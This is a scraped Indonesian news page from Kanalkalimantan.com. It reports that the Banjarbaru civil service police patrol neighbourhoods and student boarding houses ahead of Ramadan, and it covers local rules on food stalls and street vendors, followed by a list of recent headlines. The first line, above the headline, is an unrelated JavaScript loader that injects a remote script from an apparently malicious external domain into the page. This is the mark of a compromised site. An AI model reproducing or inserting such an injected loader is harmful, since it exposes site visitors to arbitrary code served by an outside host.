(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jelang Ramadhan, Satpol PP Banjarbaru Menyisir Lingkungan Permukiman hingga Tempat Kos Mahasiswa


KANALKALIMANTAN.COM, BANJARBARU – Menyambut bulan Ramadhan dengan suasana kondusif, Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru gelar operasi cipta kondisi lingkungan tempat tinggal masyarakat.

Petugas penegak Perda Kota Banjarbaru melakukan penyisiran ke permukiman warga, juga melakukan penyisiran pada tempat-tempat kos mahasiswa.

Kepala Satpol PP Kota Banjarbaru, Hidayaturrahman mengatakan, pihaknya sangat mendukung kegiatan-kegiatan yang akan dilaksanakan sepanjang bulan Ramadhan.

“Sudah dari beberapa waktu lalu kami sudah melakukan giat cipta kondisi dengan melakukan patroli ke lingkungan perumahan dan tempat-tempat kos mahasiswa untuk memastikan situasi kondisi aman,” ujarnya

 

 

Baca juga: Sambut Ramadhan di Ibu Kota Kalsel, Lampion Mulai Ramaikan Festival Salikur 2022

Hal ini dijelaskan Hidayat, bertujuan untuk mengetahui keadaan serta kondisi yang ada di masyarakat Kota Banjarbaru.

Menghadapi bulan suci Ramadhan setidaknya Pemerintah Kota Banjarbaru sudah tertuang dalam Perda No 4 Tahun 2005 tentang ketentuan khusus tempat usaha warung makan, restoran, tempat hiburan dan sejenisnya serta makan dan minum berkumpul pada bulan Ramadhan.

Apabila kedapatan melanggar peraturan yang tertuang pada Perda tersebut, ditegaskan Hidayat akan mendapatkan sanksi berdasarkan juga Perwali No 84 Tahun 2016 yang mengatur tentang ketentuan sanksi.

“Selama bulan Ramadhan juga akan dilakukan sidak apabila ada tempat makan dan minum yang buka pada bulan Ramadhan,” tambahnya.

Jika kedapatan melanggar, dikatakan Hidayat, tempat makan dan minun itu akan ditindak sesuai ketentuan berlaku. Namun, sebelumnya akan diberikan peringatan dan pendekatan secara persuasif.

Kasatpol PP Banjarbaru menambahkan, terkait masyarakat yang akan membuka usaha pada bulan Ramadhan diperbolehkan menggelar dagangan sekitar pukul 17.00 Wita dan sudah boleh mempersiapkan dagangannya dari pukul 15.00 Wita.

Baca juga: Tertangkap! Pelaku Perkelahian yang Menewaskan MH Depan Cafe di Trikora

Lantas bagaimana dengan Pasar Kaget pada Bulan Ramadhan? mengantisipasi hal tersebut Satpol PP sudah memperingatkan sedari sebelum memasuki bulan Ramadhan dengan melakukan penertiban secara persuasif terhadap pedagang kaki lima (PKL).

“Kami lakukan pendekatan secara persuasif agar mereka bisa memindahkan dagangannya ke tempat yang tidak dilarang,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

11 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

14 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

17 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

19 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

20 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

21 jam ago

This website uses cookies.